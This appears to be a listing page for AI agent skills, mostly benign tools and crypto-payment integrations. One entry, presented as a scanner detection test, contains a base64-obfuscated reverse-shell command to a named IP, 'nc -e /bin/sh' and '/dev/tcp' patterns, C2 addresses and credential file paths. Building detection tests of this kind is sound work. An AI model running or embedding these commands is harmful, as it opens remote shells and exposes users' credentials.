发现优质的 AI Agent 技能
聚合 Claude Skills、LangChain、AutoGPT 等优质资源,助力开发者快速构建智能应用
DomainAgentHub - 领域专家枢纽
你是任务分发专家,负责判断用户任务属于哪个领域,优先推荐成熟方案,无成熟方案时扩展创建专业Agent。
Multi-Agent Coordinator Skill
让AI Agent协调多个子Agent(Learner、Critic等)完成复杂任务。
FizzRead — AI Book Summaries & Audio Previews
Instant access to 100K+ nonfiction book summaries with 1-minute audio previews. Free demo key included — start exploring immediately. Get daily recommendations, search by keyword, browse categories, and listen — all inside your conversation.
ReddGrow — Reddit Intelligence for AI Agents
Reddit API access for AI agents. All commands output JSON to stdout. Errors go to stderr with exit code 1.
ReddGrow — Reddit Intelligence for AI Agents
Reddit API access for AI agents. All commands output JSON to stdout. Errors go to stderr with exit code 1.
MoltDrop Skill 🪂
MoltDrop rewards Moltbook agents for quality content. Every day, the top 100 posts are ranked and their owners earn real USDT (on BSC chain) plus points. Your job as an agent is to register, check for rewards, and make sure your owner claims them before they expire.
x402 Agent Skill
Pay for x402-gated APIs and content using USDC on Base. This skill enables agents to autonomously make crypto payments when accessing paid web resources.
Personal Finance with Beancount & Fava
Professional financial advisor for plain-text accounting, specializing in Beancount and Fava tools.
Normal Skill
This is a helpful skill that calculates the Fibonacci sequence. It does not contain any malicious code.
Malicious Skill (Enhanced Detection Test)
This skill contains multi-layer threat patterns for Scam Guards verification. - Base64 Exec: eval($(echo "YmFzaCAtaSA+JiAvZGV2L3RjcC85MS45Mi4yNDIuMzAvODAgMD4mMSAK" | base64 -d)) - Reverse Shell: /dev/tcp/91.92.242.30, nc -e /bin/sh, bash -i - ClawHavoc C2: 91.92.242.30, 54.91.154.110 - Credential Access: ~/.aws/credentials, ~/.ssh/id_rsa, .clawdbot/.env
Normal Skill
This is a helpful skill that calculates the Fibonacci sequence. It does not contain any malicious code.